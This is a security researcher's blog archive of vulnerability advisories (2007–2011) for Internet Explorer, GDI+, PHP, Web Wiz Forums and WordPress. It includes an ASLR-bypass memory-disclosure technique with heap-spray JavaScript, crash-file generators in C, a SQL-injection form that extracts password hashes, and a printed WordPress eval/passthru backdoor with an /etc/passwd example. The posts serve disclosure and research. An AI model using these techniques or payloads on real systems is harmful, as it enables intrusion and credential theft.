Ivan Fratric's Security Blog

Internet Explorer Select Element Remote Code Execution

2011-10-12T15:30:00.000-07:00

Overview

There is a vulnerability in Internet Explorer which enables execution of arbitrary code if the user visits a web page controlled by the attacker. The vulnerability is caused by incorrectly validating integer parameter passed to the 'add' method of the Select HTML element. This vulnerability has been observed in Internet Explorer 8. The vulnerability has been patched by Microsoft on October 11, 2011.

The bug

The bug is caused by incorrectly validating integer parameter passed to the 'add' method of the Select HTML element under certain conditions. The 'add' method of the Select HTML element is used to add an Option to the Select element. It accepts two parameters:

1. An Option object to be added

2. An integer, specifying the index of the new Option element

Under certain conditions, the second parameter is not properly validated, which can lead to corrupting memory at arbitrary address and, in turn, code execution.

Impact

The vulnerability can be used to execute arbitrary code in the context of the currently logged in user if the user visits a specially crafted web page. JavaScript needs to be enabled in order for the attacker to be able to exploit the vulnerability (it is enabled by default in all versions of Internet Explorer).

PoC

A PoC exploit that demonstrates reliable code execution on Internet Explorer 8 on Windows 7 SP1 has been developed. The release of the exploit code is planned on a later date, once everyone has had plenty of time to patch.

However, the description of the method that was used to bypass ASLR and otherwise enable reliable code execution can be found here.

References

http://technet.microsoft.com/en-us/security/bulletin/ms11-081

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1999

http://www.zerodayinitiative.com/advisories/published/

Internet Explorer Option Element Remote Code Execution

2011-10-12T15:24:00.000-07:00

Overview

There is a vulnerability in Internet Explorer which enables execution of arbitrary code if the user visits a web page controlled by the attacker. The vulnerability is caused by an use-after-free bug triggered by accessing a previously deleted Option element. This vulnerability has been observed in Internet Explorer versions 6, 7 and 8. The vulnerability has been patched by Microsoft on October 11, 2011.

The bug

In Internet Explorer, the implementation of Select HTML element contains an array of pointers to the Option elements the Select element contains. This array is called the Option cache. Normally, whenever an Option element inside a Select element is accessed via JavaScript, Option cache is rebuilt, thus ensuring its consistency. However, there are some JavaScript methods that can be used to delete and modify the Option elements contained inside the Select element without rebuilding the Option cache. In combination, these methods enable modifying a previously deleted Option element.

Impact

The vulnerability can be used to execute arbitrary code in the context of the currently logged in user if the user visits a specially crafted web page. JavaScript needs to be enabled in order for the attacker to be able to exploit the vulnerability (it's enabled by default in all versions of Internet Explorer).

PoC

An PoC exploit that demonstrates code execution has been developed. However, due to the severity of the vulnerability, release of the exploit code is not planned at this time.

References

http://technet.microsoft.com/en-us/security/bulletin/ms11-081

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1996

http://www.zerodayinitiative.com/advisories/published/

Memory disclosure technique for Internet Explorer

2011-06-09T09:24:00.000-07:00

Memory disclosure became an important part of exploit development in the light of various protection mechanisms. The ability to read memory holds multiple benefits for exploit developers. The most obvious one is, of course, the ability to circumvent ASLR - if we can read the content of the memory, we can determine the address of an module, for example by reading a vtable pointer of some object and subtracting a (constant) offset. However, memory disclosure brings additional benefits as well. For example, many exploits rely on a speciffic (predictable) memory layout. If we can read memory, we do not have to make any guesses regarding the memory layout. Thus, memory disclosure can also be used to improve the reliability of exploits and enable the exploit development in conditions where the memory layout is unpredictable.

One technique for memory desclosure was used by Peter Vreugdenhil in the Pwn2Own 2010 contest (http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf). This technique consists of overwtiting a terminator of a string, which enables reading the memory immediately after the end of the string. This was enough to defeat ASLR, however, in general, it has a disadvantage that it can only read the memory up to the next null-character (that will be interpreted as the new string terminator). Additionally, there is no way to read past the end of currnet memory block (except if the next memory block begins immediately after the current block, with no unreadable memory in between).

The technique I propose here enables reading a much wider area of memory and also reading memory in other memory blocks, with unreadeable memory in between them. The technique itself is very simple, however, since I never saw anyone using or describing it, I decided to describe it here. I successfully used this technique in various exploits for Internet Explorer, most recently in an exploit for a vulnerability in Internet Explorer 8 on Windows 7.

The main idea of this technique is to overwrite the DWORD holding the length of a JavaScript string.

Background: JavaScript strings

JavaScript strings in Internet Explorer are stored in memory in the following form:

[string length in bytes][sequence of 16-bit characters]

So, for example, the string 'aaaa' will be stored as (hex):

08 00 00 00 61 00 61 00 61 00 61 00

If we overwrite the DWORD holding the string length, we can peek at the memory past the end of the string.

Assume we successfullty overwrote the length of string 'str'. By calling for example

mem = str.substr(offset/2,size/2);

we can obtain (in a string 'mem' of size 'size') the content of memory at address [address of str] + offset.

We can read any memory address provided that the offset+size is less than the new string length. Thus, the address we can read up to is only limited by the value we can overwrte string length with.

How to overwrite sting length?

The method we can use to overwrite string length will depend heavily on the vulnerablity we are exploiting. Here, I'll go through some of the most common vulnerability classes and show how they can be used to overwrite the length of a string.

1. Heap overflow: This is probably the simplest one. Allocate a string after the buffer you can overwrite. By overwriting the memory past the buffer, you'll also overwrite string length.

2. Double free: This consists of several steps: a) Free some object in memory, b) allocate a string in its place (make sure it has the same initial size as the deleted object), c) free the object again. Here we are exploiting the way how malloc and free work in windows: after a block is freed, its first DWORD will hold an address of the next free memory block of the same size or, if no such block exists, it will point back to the heap header. In both cases, the string lenght is overwritten with a large value.

3. Use-after-free: See if this vulnerability can be used to make double free. If it can, see point no. 2. If not, see if any property of the deleted object can be changed. If yes, try to allocate strings in memory so that the length of some string gets aligned with this property of the deleted object. Then change said property. Another way is to try to leverage the vulnerability into arbitrary memory address overwrite and see case no. 6.

4. Stack overflow: This is a difficult one, as JavaScript strings are allocated on the heap and not stack. However, note that stack overflow does not mean you absolutely have to overwrite the return address of the current function. Sometimes it is possible to overwrtite some address stored on the stack in between the buffer and the return address of the curent function and in this way leverage the the vulnerability into arbitrary memory address overwrite. If you can accomplish this, see case no. 6.

5. Integer overflow: This vulnerability class can be made to behave as either a) heap overflow (integer calculations are used to calculate the size of the buffer, in this case see case no. 1) or b) Arbitrary memory address overwrite (integer calculations are used to calculate the address of the buffer, in this case see case no. 6)

6. Arbitrary memory address overwrite: Many of the previous vulnerability classes (and many others, such as loop condition bugs) can be leveraged into arbitrary memory address overwrite. This case will be discussed in detail (with example code) in the next section.

Overwriting string length with arbitrary memory address overwrite

Suppose we have a JavaScript method OverwriteOffset(offset) that exploits some vulnerability to overwrite a memory at the address [address of some object]+offset with a large number. If we had a method OverwriteAbsolute(address) that overwrites the address 'address' with a large number, the analysis would be similar. However, since, in general, the first case is more difficult (as we don't know the absolute addresses) it will be discussed here.

The task in question is to use OverwriteOffset(offset) to overwrite the length of some string. However lets allso suppose that we don't know (and can't guess) the address (nor the offset) of any string.

In order to make things more predictable we will use heap spraying. So, suppose we made a heap spray that is stored in an array 'spray'. Each element of the array is a string with approximately 1MB size. Each such string will be allocated in a separate memory block of size 0x100000. We can use the following code to accomplish this.

spray = new Array(200);
var pattern = unescape("%uAAAA%uAAAA");
while(pattern.length<(0x100000/2)) pattern+=pattern;
pattern = pattern.substr(0,0x100000/2-0x100);
for(var i=0;i<200;i++) {
   spray[i] = [inttostr(i)+pattern].join("");
}

The inttostr function used above converts an integer into four-byte string. This way, each string will contain its index in the first two characters. We'll come back to why I did this later.

With a heap spray as above we'll have a large probability that offset+0x100000*100 will fall somewhere in the spray. We don't know exactly where this address falls in our heap spray, however once we do the overwrite we can easily determine that as follows:

1. Overwrite a memory location somewhere in the sprayed part of the memory

2. Find out which sting we overwrote by comparing each string with its neighbor

3. Find out which characters in the string we overwrote by comparing string parts with what they originally contained. Use binary search and substr methods to speed up the process.

4. We can now calculate the offset of the string length. Overwrite the string length.

In JavaScript code, this would look like

var i;
 
//overwrite something in the heap spray
OverwriteOffset(0x100000*100);
 
//now find what and where exectly did we overwrite
readindex = -1;
for(i=1;i<200;i++) {
   if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2)) {
      readindex = i;
      break;
   }
}
 
if(readindex == -1) {
   alert("Error overwriring first spray");
   return 0;
}
 
//use binary search to find out the index of the character we overwrote
var start=2,len=spray[readindex].length-2,mid;
while(len>10) {
   mid = Math.round(len/2);
   mid = mid - mid%2;
   if(spray[readindex].substr(start,mid) != spray[readindex-1].substr(start,mid)) {
      len = mid;
   } else {
      start = start+mid;
      len = len-mid;
   }
} 
for(i=start;i<(start+20);i=i+2) {
   if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) {
      break;
   }
}
 
//calculate the offset of the string length in memory
lengthoffset = 0x100000*100-i/2-1;
OverwriteOffset(lengthoffset);
 
//check if overwrite was successful
if(spray[readindex].length == spray[0].length) alert("error overwriting string length");

That's it, we can now read memory past the end of the string. For example, we could use the following function to read a DWORD at address [address of string]+offset

function ReadMem(offset) {
   return strtoint(spray[readindex].substr(offset/2,2));
}

However, we would also like to determine the absolute address of the string, so instead of ofsets, we can provide absolute adresses to our ReadMem function. This will be discussed in the next section.

Determining the absolute address of the string

To determine the absolute address of the string we'll exploit the fact that each string in our heap spray is allocated in a separate memory block. We also know the size of such memory blocks (0x100000) and can assume that the next memory block comes immediately after the current one in memory.

Each memory block starts with a header. This header, among other things contains the address of the previous and the next memory block. So, memory block looks like:

[address of the next memory block][address of the previous memory block][24 bytes of some other header data][data]

So if we assume that the strings are placed in blocks in the following order

[block containing string 1][block containing string 2][block containing string 3] ...

we can determine the absolute address of the string in the following way, by reading the previous block pointer of the block that immediately follows the one that holds the ovrwritten string

readaddr = ReadMem(0x100000-0x20)+0x24;

This technique relies on the correct order of memory blocks. This order will usually be correct if the exploit is launched in a 'clean' Internte Explorer process (for example, if the exploit is opened in a new browser tab or window). However, in general, this does not have to be the case, so the memory could look like, for example

[block containing string 5][block containing string 7][block containing string 1] ...

However, although the order of blocks in memory may appear scrambled, the next block pointer of block containing string n will still point to the block containing string n+1. Similarly, the previous block pointer of block containing string n will still point to the block containing string n-1. Now remember that we made our heap spray so that each string contains its index in the first two characters. We can exploit this information to determine the correct absolute string address as follows:

var indexarray = new Array();
var tmpaddr = 0;
var i,index;
 
index = ReadMem(tmpaddr);
indexarray.push(index);
 
while(1) {
   tmpaddr += 0x100000;
   index = readmem(tmpaddr);
   for(i=0;i<indexarray.length;i++) {
      if(indexarray[i]==index+1) {
         readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24;
         return 1;
      } else if(indexarray[i]==index-1) {
         readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24;
         return 1;    
      }
   }
   indexarray.push(index);
}

Finally, we can construct a function ReadMemAbsolute that reads content of a memory at absolute address as

function ReadMemAbsolute(address) {
   return ReadMem(readaddr-address);
}

Helper string/integer conversion functions used throughout the code are given below.

function strtoint(str) {
   return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}
 
function inttostr(num) {
   return String.fromCharCode(num%65536,Math.floor(num/65536));
}

Embedded Open Type (EOT) fonts remote code execution

2010-10-13T03:29:00.000-07:00

There is a vulnerability in Microsoft Windows caused by incorrect processing of malformed Embedded Open Type (EOT) fonts. This vulnerability can be used to achieve remote code execution if a user views a web page containing a reference to a specially crafted font file.

EOT fonts

From Microsoft: Embedded OpenType (EOT) fonts are a compact form of fonts designed for use on Web pages. These fonts can be embedded in a document. This ensures that a user views the document exactly as the author intended.

Background

Eot format is basically a compressed true type font (TTF) file. The TTF file itself can be viewed as a collection of tables. The compression process first transforms some font tables into a different format, divides the file into chunks and than uses a variant of LZ compression to compress each chunk separately. Such obtained compressed data is added to the EOT header to form a .eot file.The decompression process first analyzes the eot header, splits the font data into chunks, decompresses each chunk and transforms some of the tables back into ttf format.More on the EOT format and the compression/decompression process can be found at the following links:

http://www.w3.org/Submission/EOT/
http://www.w3.org/Submission/2008/SUBM-MTX-20080305/

The vulnerability

The vulnerability is an integer overflow that can occur during the conversion of hdmx table from MicroType (compressed format used by EOT) back to the TrueType format. By exploiting this integer overflow the attacker can write arbitrary data to a memory location b+x, where b is the buffer location and x is (almost arbitrary) 32-bit number controlled by the attacker.

Impact

This vulnerability can be used to achieve remote code execution if a user views a web page containing a reference to a specially crafted font file.

PoC

Due to the spread and the impact of the vulnerability, exploiting details will not be released at this time.

References

http://www.microsoft.com/technet/security/bulletin/MS10-076.mspx
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1883

Windows GDI+ TIFF memory corruption

2009-10-14T03:30:00.000-07:00

There is a memory corruption vulnerability in TIFF file processing in Microsoft GDI+ that can be used to crash a vulnerable application and also to execute arbitrary code.

The vulnerability

The vulnerability is caused due to errors in decompression of CCITT G4 compressed TIFF images.
CCITT compression is basically a RLE (Run Length Encoding) compression of 2-color (black/white) images where run lengths of black and white pixels are encoded using variable number of bits. In the first step of decoding process run-lengths are determined and are stored in a buffer of the same length as image width located on heap. After this process the values inside the buffer are interpreted as

[white-run-length][black-run-length][white-run-length][black-run-length]...

The process of filling the above buffer continues until the sum of all run-lengths already written in the buffer is smaller than the image width.The vulnerability stems from the fact that, by the encoding mechanism, a 0-run length is completely valid. Thus, if we specify multiple run-lengths of zero pixels at the beginning of the image row, we can escape the buffer boundaries and write arbitrary value after the end of the buffer.

Impact

This vulnerability can be used to run arbitrary code when an application using GDI+ is used to open a malformed TIF file. The code will be run with the privilages of the vulnerable application.

PoC

Due to the spread and the impact of the vulnerability, exploiting details will not be released at this time.

References

http://www.zerodayinitiative.com/advisories/ZDI-09-072/
http://www.microsoft.com/technet/security/bulletin/ms09-062.mspx
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2503

Windows Media Audio Voice remote code execution

2009-10-14T03:25:00.001-07:00

There is a vulnerability in Windows Media Audio Voice decoder distributed with Windows Media Player that allows remote code execution by opening a specially crafted web page.

The vulnerability

The cause of the vulnerability is a bound checking error in the code used to decompress Windows Media Audio Voice compressed audio files (located in wmspdmod.dll). Namely, the vulnerability is caused by not properly sanitizing the audio sample rate information contained in the .wma voice file.The maximum allowed sample rate for .wma voie files is 22050 Hz. However, it can be set as high as 96000 Hz (the maximum for any .wma file) without being rejected.By setting the sample rate in .wma voice file between 22050 Hz and 96000 Hz, the attacker can corrupt memory on stack or (indirectly) on heap of the vulnerable process.

Impact

This vulnerability can be used to achieve remote code execution by tricking the victim into opening an attacker-controlled web page. This can be done by specifying a malformed .wma file as a webpage background sound (bgsound tags) or by embedding windows media player in a web page (embed tags). This attack works with multiple browsers (tested on Internet Explorer 6, Internet Explorer 7 and Mozilla Firefox 2 under Windows XP, other browsers and Windows version are affected as well).

PoC

Due to the spread and the impact of the vulnerability, exploiting details will not be released at this time.

References

http://www.zerodayinitiative.com/advisories/ZDI-09-069/
http://www.microsoft.com/technet/security/bulletin/ms09-051.mspx
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0555

Internet Explorer 6 history.go() Remote Code Execution

2009-04-15T06:29:00.001-07:00

There is a vulnerability in the implementation of history.go() function in Internet Explorer 6 exposed via JavaScript. The vulnerability enables the execution of arbitrary code if the user visits a web page controlled by the attacker.

The vulnerability

The vulnerability is in the erroneous implementation of history.go() function when called with a certain argument.

Impact

This vulnerability can be used to achieve remote code execution when a victim visits a specially crafted web page.

PoC

Due to the spread and the impact of the vulnerability, exploiting details will not be released at this time.

References

http://www.microsoft.com/technet/security/Bulletin/MS09-014.mspx
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0552

Internet Explorer 6 componentFromPoint() remote memory disclosure and remote code execution

2008-10-15T01:38:00.000-07:00

There is a bug in Internet Explorer 6 JavaScript implementation enabling remote memory disclosure and remote code execution. The vulnerability is caused by improper implementation of componentFromPoint() method of xml object.

The vulnerability

The vulnerability is triggered by errornous behavior of componentFromPoint() method when invoked on a newly created xml object.

Impact

This vulnerability can be used (trivially) to remotely disclose Internet Explorer's memory when a victim visits a specially crafted web page or (less trivially) to achieve remote code execution when a victim visits a specially crafted web page.

PoC

Due to the spread and the impact of the vulnerability, exploiting details will be released at a later date, once everyone has had plenty of time to patch.

References

http://www.zerodayinitiative.com/advisories/ZDI-08-069/
http://www.microsoft.com/technet/security/bulletin/MS08-058.mspx
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3475

Windows GDI+ GIF memory corruption

2008-09-10T01:52:00.000-07:00

There is a memory corruption vulnerability in GIF file processing in Microsoft GDI+ that can be used to crash a vulnerable application and potentially execute arbitrary code.

The vulnerability

The vulnerability is caused due to improper handling of graphic control extension when processing malformed GIF files. The vulnerability can be triggered if a large number of extension markers (0x21) followed by unknown labels is found when processing a GIF file.

Impact

This vulnerability can be used to corrupt memory of any application utilizing GDI+ for GIF file decoding if it is used to open a malformed GIF file. This could lead to code execution with the privileges of the user running the vulnerable application.

References

http://www.zerodayinitiative.com/advisories/ZDI-08-056/
http://www.microsoft.com/technet/security/bulletin/ms08-052.mspx
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3013

PHP <= 5.2.1 wbmp file handling integer overflow

2007-04-07T02:56:00.000-07:00

There is an integer overflow in PHP in ext/gd/libgd/wbmp.c in the function readwbmp. If large enough values are specified for wbmp image height and/or width, so that width*height > 2^32, an integer overflow occurs on the following line

if ((wbmp->bitmap = (int *) safe_emalloc(wbmp->width * wbmp->height, sizeof(int), 0)) == NULL)

causing the amount of memory allocated to be smaller than the amount of data to be read, subsequently causing buffer overflow (See the DoS PoC below).

Upon discovery, I first thought this to be a LibGD issue, however the file wbmp.c is changed in LibGD (as early as in version 2.0.33 released in 2004) and does not have this overflow.

As the only values written in memory upon exploiting this can be (int)0 and (int)1, exploiting this for anything other then DoS seems highly unlikely.

Timeline

Feb 14 2007 - Vulnerability discovered
Mar 7 2007 - Vendor contacted
Mar 7 2007 - Vendor responded, confirmed the bug and said they plan to fix it in PHP 5.2.2, which is to be released in April
Apr 7 2007 - Release of this advisory

Note: I was going to wait until the release of PHP 5.2.2 before publishing this, but seeing FrSIRT (and possibly others) already pubished it I am pushing the release forward a bit.

References

http://www.php.net/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1001
http://www.frsirt.com/english/advisories/2007/1269

PoC

#define BUFSIZE 1000000

#include <stdio.h>

int main()
{
int c;
char buf[BUFSIZE];

FILE *fp = fopen("test.wbmp","w");

//write header
c = 0;
fputc(c,fp);
fputc(c,fp);

//write width = 2^32 / 4 + 1
c = 0x84;
fputc(c,fp);
c = 0x80;
fputc(c,fp);
fputc(c,fp);
fputc(c,fp);
c = 0x01;
fputc(c,fp);

//write height = 4
c = 0x04;
fputc(c,fp);

//write some data to cause overflow
fwrite(buf,sizeof(buf),1,fp);

fclose(fp);
}

<?php
$image = imagecreatefromwbmp('test.wbmp'); //overflow occurs
?>?

Several Windows image viewers vulnerabilities

2007-04-04T00:35:00.000-07:00

Table of contents

1. Introduction
2. Description of experiments
3. Image viewers
4. Experimental results
5. Concluding remarks

Appendix I - Timeline
Appendix II - A possible Win XP SP1 vulnerability
Appendix III - Source code

1. Introduction

The purpose of this post is to present a small research covering security of several popular Windows image viewers. Although, when discussing security of image viewing software, web browsers are usually implied, since they will be on the 'front lines' in the unsafe environment such as the Internet, there are cases in which you may open potentially dangerous image file with your favorite image viewer. Some examples are:

- If you click on the attachment in your email application
- If you click on a file in an archive (such as zip or rar) you downloaded or got by email
- If you open a file on a network shared folder
- If you download the file using p2p programs such as BitTorrent and eMule

2. Description of experiments

The experiments were conducted as follows: Several errornous windows bitmap (.bmp) files were specially crafted to cause buffer overflows in certain cases, if such cases are not handled properly by the opening application. Each of these images was opend with all of the viewers included in this research and unexpected viewer behavior was noted. Here is the list of images used with their short descriptions.

paletteof1.bmp
This file defines a colormap larger than 256 entries (max allowed)

paletteof2.bmp
Similar to paletteof1.bmp, except the colormap is even larger

rle8of1.bmp
Uses run-length encoded blocks that extend beyond the image dimensions

rle8of2.bmp
Similar to rle8of1 except errornous RLE blocks start with a different offset

rle8of3.bmp
Uses xoffset and yoffset command in RLE encoded bmp in order to escape past image boundaries, then uses non-RLE encoded blocks to write data

rle8of4.bmp
similar to rle8of4.bmp except it doesn't use xoffset and yoffset, but still specififies enough non-RLE encoded blocks to escape image boundaries

wh3intof.bmp
Image dimensions are set so that width*height*3 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of bitmap bits to be smaller than the actual data provided

wh4intof.bmp
Image dimensions are set so that width*height*4 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of bitmap bits to be smaller than the actual data provided

w3intof.bmp
Image dimensions are set so that width*3 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of a single bitmap row to be smaller than the actual data provided

w4intof.bmp
Image dimensions are set so that width*4 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of a single bitmap row to be smaller than the actual data provided

The code used to generate all of the above images is provided in Appendix III, so you can use it to test your favorite image viewer if it was not included here.

3. Image viewers

Several popular image viewers were selected for this test. The most recent version of these viewers at the time of testing was used. The viewers are

ACDSee 9.0 Photo Manager
IrfranView 3.99
FastStone Image Viewer 2.9

4. Experimental results

Test system: Windows XP SP2 on Mobile AMD Sempron 3000+, 512MB RAM

ACDSee 9.0 Photo Manager

w4intof.bmp - Application closes

ACDSee 9.0 Quick View

w3intof.bmp - Microsoft Visual C++ Runtime Library: Runtime Error
w4intof.bmp - Application crashes, Exception code 0xc0000005 (access violation)

IrfranView 3.99

rle8of3.bmp - Application crashes, Exception code 0xc0000005 (access violation)
rle8of4.bmp - Application crashes, The memory could not be "written" Application error

FastStone Image Viewer 2.9

wh3intof.bmp - Application window closes, however application keeps running in the background consuming 100% of CPU resource
wh4intof.bmp - Application closes

5. Concluding remarks

All of the applications tested showed some sort of unpredicted behavior on some of the images, demonstrating the need to further enhance the security of products of this type. Accessing memory locations outside the allowed space, possible in some applications as demonstrated above, is especially dangerous since it has a potential for being exploited by a malicious hacker to execute arbitrary code on the unsuspecting user's computer. Other vulnerabilities should also not be disregarded since they could, in theory at least, be used in Dos attacks.
Since no actual code execution was analysed in detail, it is impossible to say from the above just what consequences could any of the above have. I leave this analysis to the vendors of applications tested.
Note that this small research only covers bmp images, so that the presence of various other vulnerabilities is also possible (if not probable) in the code used to handle decoding of images in other formats.
All in all, best be carefull next time you click on that image of Britney Spears' shaved ... head :-)

Appendix I - Timeline

Feb 15 2007 - Experiments made
Feb 18 2007 - 1st attempt to contact vendors
Feb 19 2007 - IrfranView programmer responded, said the code would be fixed in the upcoming version, due out soon
Feb 21 2007 - 2nd attempt to contact remaining vendors
Feb 23 2007 - Got response from ACD System support saying that they forwarded the information to the Quality Assurance and that they would contact me when they hear back from them. Never heard from them after that.
Apr 04 2007 - Release of this report

Note: It is possible that some of the bugs mentioned here were fixed quietly. I didn't check.

Appendix II - A possible Win XP SP1 vulnerability

On an old machine running Windows XP SP1 I encountered unusual behavior with one of my test images. When clicking on the w4intof.bmp in Windows Explorer (with the file details pane on the left of the window turned on) or viewing files as thumbnails in the containing folder, the Explorer crashes and Windows reports the exception code 0xc0000005, indicating a possible overflow. It is possible that Windows Explorer in SP1 too suffers from this kind of vulnerability. However I only had that one machine with SP1 installed and on the machines with other windows versions (such as XP SP2) I didn't encounter any unusual behavior. I wrote to Microsoft about this promply after discovery. They responded that they no longer support XP SP1 and this is not something they would investigate for for an out-of-support product.

Appendix III - Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct BITMAPFILEHEADER {
unsigned int bfSize;
unsigned int bfReserved;
unsigned int bfOffBits;
};

struct BITMAPINFOHEADER {
unsigned int biSize;
unsigned int biWidth;
unsigned int biHeight;
unsigned short biPlanes;
unsigned short biBitCount;
unsigned int biCompression;
unsigned int biSizeImage;
unsigned int biXPelsPerMeter;
unsigned int biYPelsPerMeter;
unsigned int biClrUsed;
unsigned int biClrImportant;
};

void writebmp(char *filename, unsigned long width, unsigned long height, unsigned int bpp, unsigned int compression, unsigned char *palette, long numpalettecolors, unsigned char *data, long numdatabytes) {
BITMAPFILEHEADER fileheader;
BITMAPINFOHEADER infoheader;

memset(&fileheader,0,sizeof(BITMAPFILEHEADER));
memset(&infoheader,0,sizeof(BITMAPINFOHEADER));

unsigned char sig[2];
sig[0] = 'B';
sig[1] = 'M';

fileheader.bfSize = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4+numdatabytes;
fileheader.bfOffBits = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4;

infoheader.biSize = 40;
infoheader.biWidth = width;
infoheader.biHeight = height;
infoheader.biPlanes = 1;
infoheader.biBitCount = bpp;
infoheader.biCompression = compression;
infoheader.biClrUsed = numpalettecolors;

FILE *fp = fopen(filename,"wb");
fwrite(&sig,sizeof(sig),1,fp);
fwrite(&fileheader,sizeof(BITMAPFILEHEADER),1,fp);
fwrite(&infoheader,sizeof(BITMAPINFOHEADER),1,fp);
if(palette) fwrite(palette,numpalettecolors*4,1,fp);
fwrite(data,numdatabytes,1,fp);
fclose(fp);
}

int main() {
unsigned char * buf;
buf = (unsigned char *)malloc(4000000);
memset(buf,0,4000000);
unsigned char * buf2;
buf2 = (unsigned char *)malloc(4000000);
memset(buf2,0,4000000);

//overflows specifying too large palette
writebmp("ok8bit.bmp",16,16,8,0,buf,256,buf,16*16);
writebmp("paletteof1.bmp",16,16,8,0,buf,65535,buf,16*16);
writebmp("paletteof2.bmp",16,16,8,0,buf,1000000,buf,16*16);

//integer overflows with image dimensions
writebmp("ok24bit.bmp",16,16,24,0,NULL,0,buf,16*16*4);
writebmp("wh4intof.bmp",32769,32768,24,0,NULL,0,buf,4000000);
writebmp("wh3intof.bmp",37838,37838,24,0,NULL,0,buf,4000000);
writebmp("w4intof.bmp",1073741825,1,24,0,NULL,0,buf,4000000);
writebmp("w3intof.bmp",1431655767,1,24,0,NULL,0,buf,4000000);

//overflows with RLE encoded BMPs
buf2[0]=16;
buf2[1]=0;
writebmp("okRLE.bmp",16,1,8,1,buf,256,buf2,2);
for(long i=0;i<500000;i++) {
buf2[i*2]=255;
buf2[i*2+1]=0;
}
writebmp("rle8of1.bmp",16,1,8,1,buf,256,buf2,1000000);
buf2[0]=15;
buf2[1]=0;
for(long i=1;i<500000;i++) {
buf2[i*2]=255;
buf2[i*2+1]=0;
}
writebmp("rle8of2.bmp",16,1,8,1,buf,256,buf2,1000000);
memset(buf2,0,4000000);
buf2[0]=0;
buf2[1]=2;
buf2[2]=255;
buf2[3]=0;
for(long i=4;i<100000-1;) {
buf2[i]=0;
buf2[i+1]=254;
i+=255;
}
writebmp("rle8of3.bmp",16,1,8,1,buf,256,buf2,1000000);
memset(buf2,0,4000000);
for(long i=0;i<100000-1;) {
buf2[i]=0;
buf2[i+1]=254;
i+=255;
}
writebmp("rle8of4.bmp",16,1,8,1,buf,256,buf2,1000000);
}

Web Wiz Forums 8.05 (MySQL version) SQL Injection

2007-03-20T06:08:00.000-07:00

There is a vulnerability in MySQL version of Web Wiz Forums, free ASP bulletin board system software, enabling SQL injection. The vulnerability is in the code used to filter string parameters prior to including them in the SQL queries:

'Format SQL Query funtion
Private Function formatSQLInput(ByVal strInputEntry)
'Remove malisous charcters from sql
strInputEntry = Replace(strInputEntry, "\'", "\'", 1, -1, 1)
strInputEntry = Replace(strInputEntry, """", "", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "'", "''", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "[", "[", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "]", "]", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "<", "<", 1, -1, 1)
strInputEntry = Replace(strInputEntry, ">", ">", 1, -1, 1)
'Return
formatSQLInput = strInputEntry
End Function

Assume the user enters a string containing the following sequence of characters: \"' (a backslash, followed by a double quote followed by a single quote). The first line inside the function above would do nothing, the second line would remove the double quote, and after the third line the sequence would look like \'' (a backslash followed by two single quotes). In MySQL the first two characters would be interpreted as an escaped single quote and the third character would terminate the quotes thus allowing injection of arbitrary SQL code placed after it.

Only the MySQL version of the Web Wiz Forums is vulnerable to this as SQL Server and MS Access don't use backslash as an escape character.

Below I include a small exploit that demonstrates this vulnerability.

Mar 19th 2007: Vulnerability discovered
Mar 20th 2007: Vendor contacted
Mar 20th 2007: Vendor responded
Mar 20th 2007: Vendor released fixed version (8.05a)

<form method="post" action="http://localhost/forum/pop_up_member_search.asp?">
<input type="hidden" name="name" id="name" value="\"' union select concat(userusernamename,char(58),passpasswordword,char(58),sasaltlt) from tblautauthorhor /*" >
<input type="submit" value="Go">
</form>

WordPress source code compromised to enable remote code execution

2007-03-03T00:07:00.000-08:00

While assessing the security of WordPress, a popular blog creation software, I have discovered that it's source code has recently been compromised by a third party in order to enable remote command execution on the machines running affected versions. The compromised files are wp-includes/feed.php and wp-includes/theme.php.
The following code has been added:

in wp-includes/feed.php

function comment_text_phpfilter($filterdata) {
eval($filterdata);
}
...
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

in wp-includes/theme.php

function get_theme_mcommand($mcds) {
passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

this would enable remote command execution on machines running compromised versions, for example

http://wordpressurl/wp-includes/feed.php?ix=phpinfo();
http://wordpressurl/wp-includes/theme.php?iz=cat /etc/passwd

I have discovered this vulnerability on Friday, March 2nd 2007 and contacted WordPress about it straight away. They reacted promptly by disabling downloads until further investigation. Later they determined that ony one of two servers has been compromised and that the two files mentioned above are the only ones changed.

It seems that the above files were changed on Feb 25th, 2007, so if you downloaded WordPress between Feb 25th, 2007 and Mar 2nd 2007 it is possible that you are running a compromised version, so be sure to check for the above code.

About Wordpress
"WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability. What a mouthful. WordPress is both free and priceless at the same time."

Thanks to Ryan Boren of WordPress for quick response and his feedback regarding this issue.